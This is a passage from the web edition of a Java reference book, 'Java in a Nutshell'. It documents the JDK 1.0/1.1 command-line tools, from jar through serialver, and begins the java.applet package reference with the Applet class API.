Verbose. If this letter is specified with a c action, jar lists each file it adds to the archive with compression statistics. If it is used with a t action, jar lists the size and modification date for each file in the archive, instead of simply listing the filename. If v is used with x, jar displays the name of each file it extracts from the archive.

Examples

To create a simple JAR file:

% jar cvf my.jar *.java images

To list the contents of a file:

% jar tvf your.jar

To extract the manifest file from a JAR file:

% jar xf the.jar META-INF/MANIFEST.MF

To create a JAR file with a partial manifest specified:

% jar cfmv YesNoDialog.jar manifest.stub oreilly/beans/yesno

See Also

javakey

Previous | Home | Next
appletviewer | Book Index | java
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] java

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

java

Name

java---The Java Interpreter

Availability

JDK 1.0 and later.

Synopsis

java [ interpreter options ] classname [ program arguments ]
java_g [ interpreter options ] classname [ program arguments ]

Description

java is the Java byte-code interpreter--it runs Java programs. java_g is a debugging version of the interpreter. It is unoptimized, and has some additional options for tracing the execution of a program.

The program to be run is the class specified by classname. This must be a fully qualified name, it must include the package name of the class, but not the .class file extension. Note that you specify the package and class name, with components separated by '.', not the directory and filename of the class, which has its components separated by '/' or '/'. If a Java class has no package statement, then it is not in any package, and the class name is specified alone. Examples:

% java david.games.Checkers
% java test

See the description of the -classpath option and the CLASSPATH environment variable below for information on specifying where java should look for classes.

The class specified by classname must contain a method main() with exactly the following signature:

public static void main(String argv[])

Any arguments following the classname on the java command line are placed into an array and passed to the main() method when java starts up.

If main() creates any threads, java runs until the last thread exits. Otherwise, the interpreter executes the body of main() and exits.

Although only a single class name is specified when invoking java, the interpreter automatically loads any additional classes required by the program. These classes are located relative to the Java class path, described under the -classpath option below.

By default, java runs a byte-code verifier on all classes loaded over the network. This verifier performs a number of tests on the byte-code of the loaded class to ensure, for example, that it does not corrupt the internal operand stack and that it performs appropriate run-time checks on such things as array references. The -verify, -noverify, and -verifyremote options control the byte-code verification process.

Options

-classpath path

The path that java uses to look up the specified classname and all other classes that it loads. Specifying this option overrides the default path and the CLASSPATH environment variable. The class path is an ordered list of directories and ZIP files within and below which java searches for named classes. On UNIX systems, a path is specified as a colon-separated list of directories and ZIP files. On Windows systems, directories and ZIP files (which may have drive specifiers that use colons) are separated from each other with semicolons. For example, a UNIX -classpath specification might look like this:

-classpath /usr/lib/java/classes:.:~/java/classes

On a Windows system, the specification might be:

-classpath C:\tools\java\classes.zip;.;D:\users\david\classes

A period by itself in the path indicates that the current working directory is searched. Directories and ZIP files are searched in the order they appear. Place the standard Java classes first in the path if you do not want them to be accidentally or maliciously overridden by classes with the same name in other directories.

java expects to find class files in a directory hierarchy (or with a directory name within a ZIP file) that maps to the fully qualified name of the class. Thus, on a UNIX system, Java would load the class java.lang.String by looking for the file java/lang/String.class beneath one of the directories specified in the class path. Similarly, on a Windows 95 or Windows NT system (which support long filenames), java would look for the file java\lang\String.class beneath a specified directory or within a specified ZIP file.

If you do not specify -classpath or the CLASSPATH environment variable, the default class path is:

.:$JAVA/classes:$JAVA/lib/classes.zip       UNIX systems
.;$JAVA\classes;$JAVA\lib\classes.zip       Windows systems

Where $JAVA is JDK installation directory.

-cs, -checksource

Both of these options tell java to check the modification times on the specified class file and its corresponding source file. If the class file cannot be found or if it is out of date, it is automatically recompiled from the source.

-D propertyname=value

Defines propertyname to equal value in the system properties list. Your Java program can then look up the specified value by its property name. You may specify any number of -D options. For example:

% java -Dawt.button.color=gray -Dmy.class.pointsize=14 my.class

-debug

Causes java to display a password as it starts up. This password can be used to allow the jdb debugger to attach itself to this interpreter session. Note that this password should not be considered cryptographically secure.

-help

Print a usage message and exit.

-l digit

Sets the logging level for trace output. java_g only.

-ms initmem[k|m]

Specifies how much memory is allocated for the heap when the interpreter starts up. By default, initmem is specified in bytes. You can specify it in kilobytes by appending the letter k or in megabytes by appending the letter m. The default is 1 MB. For large or memory intensive applications (such as the Java compiler), you can improve run-time performance by starting the interpreter with a larger amount of memory. You must specify an initial heap size of at least 1000 bytes.

-mx maxmem[k|m]

Specifies the maximum heap size the interpreter will use for dynamically allocated objects and arrays. maxmem is specified in bytes by default. You can specify maxmem in kilobytes by appending the letter k and in megabytes by appending the letter m. The default is 16 MB. You must not specify a heap size less than 1000 bytes.

-noasyncgc

Do not do garbage collection asynchronously. With this option specified, java only performs garbage collection when it runs out of memory or when the garbage collector is explicitly invoked. Without this option, java runs the garbage collector as a separate, low-priority thread.

-noclassgc

Do not garbage collect loaded classes that are no longer in use. This option is only available in JDK 1.1 and later.

-noverify

Never run the byte-code verifier.

-oss stacksize[k|m]

Sets the size of each thread's Java code stack. By default, stacksize is specified in bytes. You can specify it in kilobytes by appending the letter k or in megabytes by appending the letter m. The default value is 400 KB. You must specify at least 1000 bytes.

-prof[:file]

Output profiling information to the specified file or to the file java.prof in the current directory. The format of this profiling information is not well documented. Prior to JDK 1.1, no file can be specified; profiling information is always output to ./java.prof.

-ss stacksize[k|m]

Sets the size of each thread's native code stack. By default, stacksize is specified in bytes. You can specify it in kilobytes by appending the letter k or in megabytes by appending the letter m. The default value is 128 KB. You must specify at least 1000 bytes.

-t

Output a trace of all bytecodes executed. java_g only.

-tm

Output a trace of all methods executed. java_g only.

-v, -verbose

Print a terminal message each time java loads a class.

-verbosegc

Print a message whenever the garbage collector frees memory.

-verify

Run the byte-code verifier on all classes that are loaded.

-verifyremote

Run the byte-code verifier on all classes that are loaded through a class loader. (This generally means classes that are dynamically loaded from an untrusted location.) This is the default behavior for java.

-version

Print the version of the Java interpreter and exit.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on UNIX, semicolon-separated on Windows systems) of directories and ZIP files in which java should look for class definitions. When a path is specified with this environment variable, java always implicitly appends the location of the system classes to the end of the path. If this environment variable is not specified, the default path is the current directory and the system classes. This variable is overridden by the -classpath option. See -classpath above for more information on specifying paths.

See Also

javac, jdb

Previous | Home | Next
jar | Book Index | javac
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] javac

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

javac

Name

javac---The Java Compiler

Availability

JDK 1.0 and later.

Synopsis

javac [ options ] files

Description

javac is the Java compiler--it compiles Java source code (in .java files) into Java byte-codes (in .class files). The Java compiler is itself written in Java.

javac may be passed any number of Java source files, whose names must all end with the .java extension. javac produces a separate .class class file for each class defined in the source files, regardless of how many source files there are. In other words, there need not be a one-to-one mapping between Java source files and Java class files. Note also that the compiler requires that there be only a single public class defined in any one source file, and that the name of the file (minus the .java extension) be the same as the name of the class (minus its package name, of course).

By default, javac places the class files it generates in the same directory as the corresponding source file. You can override this behavior with the -d option.

When a source file references a class that is not defined in another source file on the command line, javac searches for the definition of that class using the class path. The default class path contains only the current directory and the system classes. You may specify additional classes and packages to be searched with the -classpath option or the CLASSPATH environment variable.

If javac compiles a source file that relies on a class that is out of date (i.e., if the source file for that class is newer than the class file), it automatically recompiles that file.

Options

-classpath path

The path that javac uses to look up classes referenced in the specified source code. This option overrides the default path and any path specified by the CLASSPATH environment variable. The path specified is an ordered list of directories and ZIP files, separated by colons on UNIX systems or semicolons on Windows systems.

To specify additional directories or ZIP files to be searched, without overriding the default system class path, use the CLASSPATH environment variable. See the java reference page for more information on specifying paths.

-d directory

The directory in which (or beneath which) class files should be stored. By default, javac stores the .class files it generates in the same directory as the .java file that those classes were defined in. If the -d flag is specified, however, the specified directory is treated as the root of the class hierarchy and .class files are placed in this directory, or in the appropriate subdirectory below it, depending on the package name of the class. Thus, the following command:

% javac -d java/classes java/src/Checkers.java

places the file Checkers.class in the directory java/classes if the Checkers.java file has no package statement. On the other hand, if the source file specifies that it is in a package:

package david.games;

then the .class file is stored in java/classes/david/games. When the -d option is specified, javac automatically creates any directories it needs to store its class files in the appropriate place.

-depend

Tells javac to recompile any out-of-date class files it encounters, not just those that are referenced from one of the specified source files.

-deprecation

Tells javac to issue a warning for every use of a deprecated API. By default, javac issues only a single warning if a program uses deprecated APIs. Available in JDK 1.1 and later.

-g

This option tells javac to add line numbers and local variable information to the output class files, for use by debuggers. By default, javac only generates the line numbers. With the -O option, javac does not generate even that information.

-J javaoption

Pass the argument javaoption directly through to the Java interpreter. javaoption should not contain spaces; if multiple arguments must be passed to the interpreter, use multiple -J options. Available in JDK 1.1 and later.

-nowarn

Tells javac not to print warning messages. Errors are still reported as usual.

-nowrite

Tells javac not to create any class files. Source files are parsed as usual, but no output is written. This option is useful when you want to check that a file will compile without actually compiling it.

-O

Enable optimization of class files. This option may cause javac to compile static, final, and private methods inline, so that they execute faster. The trade-off is that the class files will be larger. This option also prevents javac from adding line number debugging information to the class files.

-verbose

Tells the compiler to display messages about what it is doing.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on UNIX, semicolon-separated on Windows systems) of directories and ZIP files in which javac should look for class definitions. When a path is specified with this environment variable, javac always implicitly appends the location of the system classes to the end of the path. If this environment variable is not specified, the default path is the current directory and the system classes. This variable is overridden by the -classpath option.

See Also

java, jdb

Previous | Home | Next
java | Book Index | javadoc
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] javadoc

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

javadoc

Name

javadoc---The Java Documentation Generator

Availability

JDK 1.0 and later.

Synopsis

javadoc [ options ] packagename
javadoc [ options ] filenames

Description

javadoc generates API documentation, in HTML format, for the specified package, or for the individual Java source files specified on the command line.

When a package name is specified on the command line, javadoc looks for a corresponding package directory relative to the class path. It then parses all of the .java source files in that directory and generates an HTML documentation file for each class and an HTML index of the classes in the package. By default, the HTML files are placed in the current directory. The -d option allows you to override this default.

Note that the packagename argument to javadoc is the name of the package (components separated by periods) and not the name of the package directory. You may need to specify the -sourcepath option so that javadoc can find your package source code correctly, if it is not stored in the same location as the package class files.

javadoc may also be invoked with any number of Java source files specified on the command line. Note that these are filenames, not class names, and are specified with any necessary directory components, and with the .java extension. When javadoc is invoked in this way, it reads the specified source files and generates HTML files (in the current directory, by default) that describe each public class defined in the specified source files.

The class documentation files that javadoc generates describe the class (or interface) and its inheritance hierarchy, and index and describe each of the public and protected members of the class. The generated file also contains any "doc comments" that are associated with the class and with its methods, constructors, and variables. A "doc comment," or documentation comment, is a Java comment that begins with /** and ends with */. A doc comment may include any HTML markup tags (although it should not include structuring tags like <H1> or <HR>), and may also include tag values that are treated specially by javadoc. These special tags and their syntax are documented fully in Chapter 13, Java Syntax.

Options

-author path

Specifies that author information specified with the @author tag should be output. This information is not output by default.

-classpath path

This option specifies a path that javadoc uses to look up both class files and source files for the specified package. If you specify this option to tell javadoc to look for your source files, you must also be sure to include the standard system classpath as well, or javadoc will not be able to find the classes it needs. This option overrides the default path and any path specified by the CLASSPATH environment variable. The path specified is an ordered list of directories and ZIP files, separated by colons on UNIX systems or semicolons on Windows systems. To specify additional directories or ZIP files to search without overriding the default system class path, use the CLASSPATH environment variable. See the java reference page for more information on specifying paths.

-d directory

The directory in which javadoc should store the HTML files it generates. The default is the current directory.

-docencoding encoding-name

Specifies the character encoding to be used for the output documents generated by javadoc. Available in JDK 1.1 and later.

-encoding encoding-name

Specifies the character encoding to be used to read the input source files and the documentation comments they contain. Available in JDK 1.1 and later.

-J javaoption

Pass the argument javaoption directly through to the Java interpreter. javaoption should not contain spaces; if multiple arguments must be passed to the interpreter, use multiple -J options. Available in JDK 1.1 and later.

-nodeprecated

Specifies that javadoc should not include @deprecated tags in its output, as it does by default. Available in JDK 1.1 and later.

-noindex

Specifies that javadoc should not generate the AllNames.html index file that it creates by default.

-notree

Specifies that javadoc should not generate the tree.html class hierarchy file that it creates by default.

-sourcepath path

A synonym for -classpath. Note that any specified "sourcepath" must include the system classpath.

-verbose

Tells javadoc to print additional messages about what it is doing.

-version path

Specifies that version information specified with the @version tag should be output. This information is not output by default. Note that this option does not tell javadoc to print its own version number.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on UNIX, semicolon-separated on Windows systems) of directories and ZIP files in which javadoc should look for class definitions. When a path is specified with this environment variable, javadoc always implicitly appends the location of the system classes to the end of the path. If this environment variable is not specified, then the default path is the current directory and the system classes. This variable is overridden by the -classpath option.

Bugs

When javadoc cannot find a specified package, it produces a stub HTML file and does not warn you that the package was not found.

See Also

java, javac

Previous | Home | Next
javac | Book Index | javah
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] javah

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

javah

Name

javah---Native Method C File Generator

Availability

JDK 1.0 and later.

Synopsis

javah [ options ] classnames

Description

javah generates C header and source files (.h and .c files) that describe the specified classes. Note that classes are specified by classname, not filename. These generated C files provide the information necessary for implementing native methods for the specified classes in C. By default, javah produces output files suitable for the native interface used in JDK 1.0. If the -jni option is specified, it generates output files for use with the Java 1.1 Java Native Interface (JNI).

By default, javah generates a header file for the specified class or classes. This header file declares a C struct that contains fields that correspond to the instance fields of the Java class. The header also declares a procedure that you must implement for each of the native methods that the Java class contains. (A full description of how to implement Java native methods in C is beyond the scope of this reference page.)

If javah is run with the -stubs option, it generates a .c file that contains additional stub procedures necessary for linking the native method into the Java environment. Note that you should not put your native method implementation in this generated stub file.

With the -jni option specified, javah generates C header files that declare function prototypes each of the native methods of the specified classes. No structure definitions are required using this new native interface. The JNI does not require stub files, either, so -stubs should not be specified with -jni.

By default, javah creates C files in the current directory and bases their name on the name of the class. If the name of the class includes a package name, then the C files include all the components of the fully qualified class name, with periods replaced by underscores. You can override this default behavior with the -d and -o options.

Options

-classpath path

The path that javah uses to look up the classes named on the command line. This option overrides the default path, and any path specified by the CLASSPATH environment variable. The path specified is an ordered list of directories and ZIP files, separated by colons on UNIX systems or semicolons on Windows systems.

To specify additional directories or ZIP files for javah to search without overriding the default system class path, use the CLASSPATH environment variable. See the java reference page for more information on specifying paths.

-d directory

Specifies a directory where javah should store the files it generates. By default it stores them in the current directory. This option does not work with -o; you must specify any desired directory within the -o filename.

-help

Causes javah to display a simple usage message and exit.

-jni

Specifies that javah should output a header file for use with the new JNI (Java Native Interface), rather than using the old JDK 1.0 native interface. Available in JDK 1.1 and later.

-o outputfile

Combine all .h or .c file output into a single file, outputfile. This is a convenience when you want to implement native methods for a number of classes in a single package. It allows you to avoid having many short .h and .c files that must be manipulated separately.

-stubs

Generate .c stub files for the class or classes, and do not generate the .h header files. Without this option, javah generates header files.

-td directory

The directory where javah should store temporary files. The default is /tmp.

-trace

Specifies that javah should include tracing output commands in the stub files it generates.

-v

Verbose. Causes javah to print messages about what it is doing.

-version

Causes javah to display its version number.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on UNIX, semicolon-separated on Windows systems) of directories and ZIP files in which javah should look for class definitions. When a path is specified with this environment variable, javah always implicitly appends the location of the system classes to the end of the path. If this environment variable is not specified, the default path is the current directory and the system classes. This variable is overridden by the -classpath option.

See Also

java, javac

Previous | Home | Next
javadoc | Book Index | javakey
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] javakey

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

javakey

Name

javakey---Key Management and Digital Signatures

Availability

JDK 1.1 and later.

Synopsis

javakey options

Description

javakey provides a command-line interface to a number of complex key and certificate generation and management tasks, including the generation of digital signatures. There are quite a few options that perform a number of distinct operations. javakey manages a system database of entities. Each entity may have public and private keys and/or certificates associated with it, and in addition, each entity may be declared to be trusted or not. Any entity in the database may be an "identity" or a "signer." Identities have only a public key associated with them, while signers have both a public and private key, and thus may sign files.

The different javakey operations are specified with the various options described below.

Options

-c identity-name [true|false]

Create. Create and add a new identity to the database, using the specified name. If the identity name is followed by true, declare the identity to be trusted. Otherwise make it untrusted.

-cs signer-name [true|false]

Create signer. Create and add a new signer entity to the database, using the specified name. If the name is followed by true, declare the signer to be trusted. Otherwise make it untrusted.

-t entity-name true|false

Assign trust. Specify whether the named entity is trusted (true) or not (false).

-l

List. List the names of all entities in the security database.

-ld

List details. List the names and other details about all entities in the security database.

-li entity-name

List information. List detailed information about the named entity from the security database.

-r entity-name

Remove. Remove the named entity from the security database.

-ik identity-name keyfile

Import key. Read a public key from the specified file and associate it with the named identity. The key must be in X.509 format.

-ikp signer-name pubkeyfile privkeyfile

Import key pair. Read the specified public key and private key files and associate them with the named signer entity. The keys must be in X.509 format.

-ic entity-name certificate-file

Import certificate. Read a certificate from the named certificate file and associate it with the named entity. If the entity already has a public key, compare it to the key in the certificate and issue a warning if they do not match. If the entity has not had a public key assigned, use the public key from the certificate.

-ii entity-name

Import information. This command allows you to enter arbitrary textual information about an entity into the database.

-gk signer algorithm size [pubfile [privfile]]

Generate key. Generate a public and private key and associate them with the named signer. Use the specified algorithm. Currently, the only supported algorithm is "DSA." Generates keys of the specified number of bits, which must be between 512 and 1024. If pubfile is specified, write the public key to the specified file. If privfile is specified, write the private key to the specified file.

-g signer algorithm size [pubfile [privfile]]

A synonym for the -gk command.

-gc directivefile

Generate certificate. Generate a certificate according to the parameters specified in the directive file. The directive file is a Properties file that must provide values for the following named properties:

  • issuer.name. The name of the entity issuing the certificate.

  • issuer.cert. The issuer's certificate number to be used to sign the generated certificate (unless the certificate will be self-signed.)

  • subject.name. The database name of the entity that the certificate is being issued to.

  • subject.real.name. The real name of the entity that the certificate is being issued to.

  • subject.country. The country that the subject entity is in.

  • subject.org. The organization that the subject entity is affiliated with.

  • subject.org.unit. A division within the subject's organization.

  • start.date. The starting date (and time) of the certificate.

  • end.date. The ending date (and time) of the certificate.

  • serial.number. A serial number for the certificate. This number must be unique among all certificates generated by the issuer.

  • out.file. An optional filename that specifies what file the certificate should be written to.

-dc certfile

Display certificate. Display the contents of the certificate stored in certfile.

-ec entity certificate-number file

Export certificate. Output the numbered certificate of the specified entity into the specified file. Use the -li command to inspect the certificate numbers for a given entity.

-ek entity pubfile [privfile]

Export key. Output the public key of the specified entity into the specified file. If the entity is a signer, and the privfile is specified, additionally export the private key of the entity to that file.

-gs directivefile jarfile

Generate signature. Apply a digital signature to the specified JAR file using the directives in the specified directive file. The directive file is a Properties file that must provide values for the following named properties:

  • signer. The entity name of the signer.

  • cert. The certificate number to use for the signature.

  • chain. The length of a chain of certificates to include. This is not currently supported; specify 0.

  • signature.file. The basename of the signature file and signature block to be inserted into the JAR file. It must be 8 characters or less. This name should not conflict with any other digital signatures that may be inserted into the JAR file.

  • out.file. This optional property specifies the name that should be used for the signed JAR file that is generated.

See Also

jar

Previous | Home | Next
javah | Book Index | javap
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] javap

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

javap

Name

javap---The Java Class Disassembler

Availability

JDK 1.0 and later.

Synopsis

javap [ options ] classnames

Description

javap disassembles the class files specified by the class names on the command line and prints a human-readable version of those classes.

By default, javap prints declarations of the non-private members of each of the classes specified on the command line. The -l, -p, and -c options specify additional information to be printed, including a complete disassembly of the byte-codes in each of the specified classes. javap can also be used to run the class verifier on Java classes.

Options

-c

Print the Java Virtual Machine instructions for each of the methods in each of the specified classes. This option disassembles all methods, including private methods.

-classpath path

The path that javap uses to look up the classes named on the command line. This option overrides the default path and any path specified by the CLASSPATH environment variable. The path specified is an ordered list of directories and ZIP files, separated by colons on UNIX systems or semicolons on Windows systems.

To specify additional directories or ZIP files for javap to search without overriding the default system class path, use the CLASSPATH environment variable. See the java reference page for more information on specifying paths.

-h

Outputs the class in a form suitable for inclusion in a C header file.

-l

Prints line numbers and local variable tables in addition to the public fields of the class. Note that line numbers and local variable information is included for use with debuggers. Local variable information is available only if a class was compiled with the -g option to javac; line number information is available only if a class was compiled without the -O option.

-p

Prints private methods and variables of the specified class in addition to the public ones. Note that some compilers (though not javac) may allow this private field information to be "obfuscated" in such a way that private fields and method arguments no longer have meaningful names. This makes Java classes harder to disassemble or reverse engineer.

-s

Outputs the class member declarations using the internal Virtual Machine format.

-v

Verbose. Outputs additional information (in the form of Java comments) about each member of each specified class.

-verify

Causes javap to run the class verifier on the specified classes and display the results of verification.

-version

Causes javap to display its version number.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on UNIX, semicolon-separated on Windows systems) of directories and ZIP files in which javap should look for class definitions. When a path is specified with this environment variable, javap always implicitly appends the location of the system classes to the end of the path. If this environment variable is not specified, the default path is the current directory and the system classes. This variable is overridden by the -classpath option.

See Also

java, javac

Previous | Home | Next
javakey | Book Index | jdb
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] jdb

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

jdb

Name

jdb---The Java Debugger

Availability

JDK 1.0 and later.

Synopsis

jdb [ java options ] class
jdb [ -host hostname ] -password password

Description

jdb is a debugger for Java classes. It is text-based, command-line oriented, and has a command syntax like that of the UNIX dbx or gdb debuggers.

When jdb is invoked with the name of a Java class, it starts another copy of the java interpreter, passing any specified java options to the interpreter. jdb is itself a Java program, running in its own copy of the interpreter. This new interpreter loads the specified class file and stops for debugging before executing the first Java byte-code.

jdb may also be started with the -password and optional -host arguments. Invoked in this way, jdb "attaches itself" to an already running copy of the interpreter. In order for this to work, the Java interpreter running the program to be debugged must have been started with the -debug option. When the interpreter is started with this option, it prints a password that must be used with the jdb -password option.

Once a debugging session is started, you may issue any of the commands described below.

Options

When invoking jdb with a specified class file, any of the java interpreter options may be specified. See the java reference page for an explanation of these options.

When attaching jdb to an already running Java interpreter, the following options are available:

-host hostname

Specifies the name of the host upon which the desired interpreter session is running.

-password password

This option is required to attach to a running interpreter. The interpreter must have been started with the -debug option, and this -password option specifies the password that the interpreter generated. Only a debugger that knows this password is allowed to attach to the interpreter. Note that the passwords generated by java should not be considered cryptologically secure.

Commands

jdb understands the following debugging commands:

!!

This is a shorthand command that is replaced with the text of the last command entered. It may be followed with additional text that is appended to that previous command.

catch [ exception class ]

Cause a breakpoint whenever the specified exception is thrown. If no exception is specified, the command lists the exceptions currently being caught. Use ignore to stop these breakpoints from occurring.

classes

List all classes that have been loaded.

clear [ class:line ]

Remove the breakpoint set at the specified line of the specified class. Typing clear or stop with no arguments displays a list of current breakpoints and the line numbers that they are set at.

cont

Resume execution. This command should be used when the current thread is stopped at a breakpoint.

down [ n ]

Move down n frames in the call stack of the current thread. If n is not specified, move down one frame.

dump id(s)

Print the value of all fields of the specified object or objects. If you specify the name of a class, dump displays all class (static) methods and variables of the class, and also displays the superclass and list of implemented interfaces. Objects and classes may be specified by name or by their eight-digit hexadecimal ID number. Threads may also be specified with the shorthand t@thread-number.

exit (or quit)

Quit jdb.

gc

Run the garbage collector to force unused objects to be reclaimed.

help (or ?)

Display a list of all jdb commands.

ignore exception class

Do not treat the specified exception as a breakpoint. This command turns off a catch command.

list [ line number ]

List the specified line of source code as well as several lines that appear before and after it. If no line number is specified, use the line number of the current stack frame of the current thread. The lines listed are from the source file of the current stack frame of the current thread. Use the use command to tell jdb where to find source files.

load classname

Load the specified class into jdb.

locals

Display a list of local variables for the current stack frame. Java code must be compiled with the -g option in order to contain local variable information.

memory

Display a summary of memory usage for the Java program being debugged.

methods class

List all methods of the specified class. Use dump to list the instance variables or an object or the class (static) variables of a class.

print id(s)

Print the value of the specified item or items. Each item may be a class, object, field, or local variable, and may be specified by name or by eight-digit hexadecimal ID number. You may also refer to threads with the special syntax t@thread-number. The print command displays an object's value by invoking its toString() method.

resume [ thread(s) ]

Resume execution of the specified thread or threads. If no threads are specified, all suspended threads are resumed. See also suspend.

run [ class ] [ args ]

Run the main() method of the specified class, passing the specified arguments to it. If no class or arguments are specified, use the class and arguments specified on the jdb command line.

step

Run the current line of the current thread and stop again.

stop [ at class:line ]
stop [ in class.method ]

Set a breakpoint at the specified line of the specified class or at the beginning of the specified method of the specified class. Program execution stops when it reaches this line or enters the method. If stop is executed with no arguments, then it lists the current breakpoints.

suspend [ thread(s) ]

Suspend the specified thread or threads. If no threads are specified, suspend all running threads. Use resume to restart them.

thread thread

Set the current thread to the specified thread. This thread is used implicitly by a number of other jdb commands. The thread may be specified by name or number.

threadgroup name

Set the current thread group to the named thread group.

threadgroups

List all thread groups running in the Java interpreter session being debugged.

threads [ threadgroups ]

List all threads in the named thread group. If no thread group is specified, list all threads in the current thread group (specified by threadgroup).

up [ n ]

Move up n frames in the call stack of the current thread. If n is not specified, move up one frame.

use [ source-file-path ]

Set the path used by jdb to look up source files for the classes being debugged. If no path is specified, display the current source path being used.

where [ thread ] [ all ]

Display a stack trace for the specified thread. If no thread is specified, display a stack trace for the current thread. If all is specified, display a stack trace for all threads.

Environment

CLASSPATH

Specifies an ordered list (colon-separated on UNIX, semicolon-separated on Windows systems) of directories and ZIP files in which jdb should look for class definitions. When a path is specified with this environment variable, jdb always implicitly appends the location of the system classes to the end of the path. If this environment variable is not specified, the default path is the current directory and the system classes. This variable is overridden by the -classpath option.

See Also

java

Previous | Home | Next
javap | Book Index | native2ascii
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] native2ascii

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

native2ascii

Name

native2ascii---Convert Java source code to ASCII

Availability

JDK 1.1 and later.

Synopsis

native2ascii [ options ] [ inputfile [ outputfile ]]

Description

javac can only process files encoded in ASCII, with any other characters encoded using the \u xxxx Unicode notation. native2ascii is a simple program that reads a Java source file encoded using a local encoding and converts it to the ASCII-plus-encoded-Unicode form required by javac.

The inputfile and outputfile are optional. If unspecified, standard input and standard output are used, making native2ascii suitable for use in pipes.

Options

-encoding encoding-name

Specifies the encoding used by source files. If this option is not specified, the encoding is taken from the file.encoding system property.

-reverse

Specifies that the conversion should be done in reverse--from encoded \u xxxx characters to characters in the native encoding.

See Also

java.io.InputStreamReader, java.io.OutputStreamWriter

Previous | Home | Next
jdb | Book Index | serialver
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] serialver

Java in a Nutshell

Previous Chapter 16
JDK Tools 		Next

serialver

Name

serialver---Class Version Number Generator

Availability

JDK 1.1 and later.

Synopsis

serialver [-show] classname...

Description

serialver displays the version number, or serialization-unique identifier, for a named class or classes. If the class declares a long serialVersionUID constant, the value of that field is displayed. Otherwise, a unique version number is computed by applying the Secure Hash Algorithm (SHA) to the API defined by the class. This program is primarily useful for computing an initial unique version number for a class, which is then declared as a constant in the class. The output of serialver is a line of legal Java code, suitable for pasting into a class definition.

Options

-show

When the -show option is specified, serialver displays a simple graphical interface that allows the user to type in a single classname at a time and obtain its serialization UID. When using -show, no class names may be specified on the command-line.

Environment

CLASSPATH

serialver is written in Java, and so it is sensitive to the CLASSPATH environment variable in the same way that the java interpreter is. The specified classes are looked up relative to this class path.

See Also

java.io.ObjectStreamClass

Previous | Home | Next
native2ascii | Book Index | How To Use This Quick Reference
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] The java.applet Package

Java in a Nutshell

Previous Chapter 17 Next

17. The java.applet Package

Contents:
java.applet.Applet (JDK 1.0)
java.applet.AppletContext (JDK 1.0)
java.applet.AppletStub (JDK 1.0)
java.applet.AudioClip (JDK 1.0)

An applet is a small, embeddable Java program. The java.applet package is a small one. It contains the Applet class, which is the superclass of all applets, and three related interfaces. Figure 17.1 shows the class hierarchy of this package. See Chapter 6, Applets, for more information about this package.

Figure 17.1: The java.applet package

[Graphic: Figure 17-1]

17.1 java.applet.Applet (JDK 1.0)

This class implements an applet. To create your own applet, you should create a subclass of this class and override some or all of the following methods. Note that you never need to call these methods--they are called when appropriate by a Web browser or other applet viewer.

init() should perform any initialization for the applet; it is called when the applet first starts. destroy() should free up any resources that the applet is holding; it is called when the applet is about to be permanently stopped. start() is called to make the applet start doing whatever it is that it does. Often, it starts a thread to perform an animation or similar task. stop() should temporarily stop the applet from executing. It is called when the applet temporarily becomes hidden or non-visible.

getAppletInfo() should return text suitable for display in an About dialog posted by the Web browser or applet viewer. getParameterInfo() should return an arbitrary-length array of three-element arrays of strings where each element describes one of the parameters that this applet understands. The three elements of each parameter description are strings that specify, respectively, the parameter's name, type, and description.

In addition to these methods, an applet also typically overrides several of the methods of java.awt.Component, notably the paint() method to draw the applet on the screen. There are also several Applet methods that you do not override but may call from applet code: showStatus() displays text in the Web browser or applet viewer's status line. getImage() and getAudioClip() read image (GIF and JPEG formats) and audio files (AU format) over the network and return corresponding Java objects. getParameter() looks up the value of a parameter specified with a <PARAM> tag within an <APPLET>...</APPLET> pair. getCodeBase() returns the base URL from which the applet's code was loaded, and getDocumentBase() returns the base URL from which the HTML document containing the applet was loaded. getAppletContext() returns an AppletContext object, which also has useful methods.

public class Applet extends Panel {
    // Default Constructor: public Applet()
    // Public Instance Methods
            public void destroy();
            public AppletContext getAppletContext();
            public String getAppletInfo();
            public AudioClip getAudioClip(URL url);
            public AudioClip getAudioClip(URL url, String name);
            public URL getCodeBase();
            public URL getDocumentBase();
            public Image getImage(URL url);
            public Image getImage(URL url, String name);
            public Locale getLocale();  // Overrides Component
            public String getParameter(String name);
            public String[][] getParameterInfo();
            public void init();
            public boolean isActive();
            public void play(URL url);
            public void play(URL url, String name);
            public void resize(int width, int height);  // Overrides Component
            public void resize(Dimension d);  // Overrides Component
            public final void setStub(AppletStub stub);
            public void showStatus(String msg);
            public void start();
            public void stop();
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Container->Panel->Applet

Returned By:

AppletContext.getApplet()

Previous | Home | Next
Reading a Quick Reference Entry | Book Index | java.applet.AppletContext (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] 17.2 java.applet.AppletContext (JDK 1.0)

Java in a Nutshell

Previous Chapter 17
The java.applet Package 		Next

17.2 java.applet.AppletContext (JDK 1.0)

